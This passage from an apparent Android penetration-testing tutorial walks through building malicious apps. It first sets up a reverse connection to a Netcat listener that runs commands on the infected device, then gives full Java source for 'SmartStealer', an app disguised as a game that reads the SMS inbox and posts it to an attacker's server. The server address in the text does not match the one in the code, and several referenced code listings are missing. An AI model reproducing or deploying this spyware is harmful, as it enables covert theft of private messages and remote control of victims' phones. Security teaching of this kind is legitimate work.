Registering permissions

Since the app is dealing with network connections, we need to add the following INTERNET permission to AndroidManifest.xml:

  <uses-permission android:name="android.permission.INTERNET"></uses-permission>

After adding the preceding permission to the AndroidManifest.xml file, the code should look like this:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.androidpentesting.smartspy" >

    <uses-permission android:name="android.permission.INTERNET"></uses-permission>
    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:name=".MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
              <action android:name="android.intent.action.MAIN" />

              <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>

</manifest>

It's time to run this code on an emulator. Before we do this, start a Netcat listener on the attacker's machine as shown in the following screenshot. This is the machine with IP address 10.1.1.4, and port 1337 is used for connections:

Registering permissions

Now run the application and launch it in an emulator. It should look like this:

Registering permissions

Once we run it, the app should make a connection to the server:

Registering permissions

We can now run any system command with the privileges of the app that we installed. The following screenshot shows the output of the id command:

Registering permissions

The following figure shows the CPU information on the infected device:

Registering permissions

In this section, we are going to see how to write a simple SMS stealer app that reads SMSes from a user's device and sends them to an attacker's server. The idea is to create an app that looks like a simple game. When the user clicks the Start the Game button, it reads the SMSes from the device and sends them to the attacker. Start by creating a new Android Studio project and naming it SmartStealer.

As mentioned in the introduction, we will have a Start the Game button on the first activity, as shown following:

The user interface

The following is the code for the activity_main.xml file, which displays this user interface:

As we can see in the preceding excerpt, we have one ImageView in which we are loading the image as background, and then we have a Button that is used to display the text Start the Game.

The following is the code for reading SMS from the inbox of an SMS application. The goal is to achieve the following:

Let's understand the preceding code line by line:

The following is the complete code that we have written within the MainActivity.class file:

package com.androidpentesting.smartstealer;

import android.app.Activity;
import android.database.Cursor;
import android.net.Uri;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;

import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.message.BasicNameValuePair;

import java.util.ArrayList;


public class MainActivity extends Activity {

  Button btn;
  String sms = "";

  ArrayList<BasicNameValuePair> arrayList = new ArrayList<BasicNameValuePair>();

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);


        btn = (Button) findViewById(R.id.btnStart);

        btn.setOnClickListener(new View.OnClickListener() {
          @Override
          public void onClick(View v) {
            Thread thread = new Thread(){

            @Override
            public void run() {

            Uri uri = Uri.parse("content://sms/inbox");

            Cursor cursor = getContentResolver().query(uri,null,null,null,null);

            int index = cursor.getColumnIndex("body");

            while(cursor.moveToNext()){

            sms += "From :" + cursor.getString(2) + ":" + cursor.getString(index) + "\n";
            }

              arrayList.add(new BasicNameValuePair("sms",sms));

              uploadData(arrayList);

            }
          };
          thread.start();
        }
     });


  }

  private void uploadData(ArrayList<BasicNameValuePair> arrayList) {

  DefaultHttpClient httpClient = new DefaultHttpClient();

  HttpPost httpPost = new HttpPost("http://10.1.1.4/smartstealer/sms.php");

  try {
        httpPost.setEntity(new UrlEncodedFormEntity(arrayList));
        httpClient.execute(httpPost);

      } catch (Exception e) {

      e.printStackTrace();
    }
  }

}

In the previous section, we used the following URL to send the SMS:

http://10.0.0.31/smartstealer/sms.php

We now need to write the code for receiving SMS on the server side. In simple words, we are now seeing the code for the sms.php file hosted on the attacker's server.

The following is the complete code for sms.php:

Now, if you launch the application in an emulator/real device and click the Start the Game button, you should see all the SMS from the device's inbox on the attacker's server:

Code on the server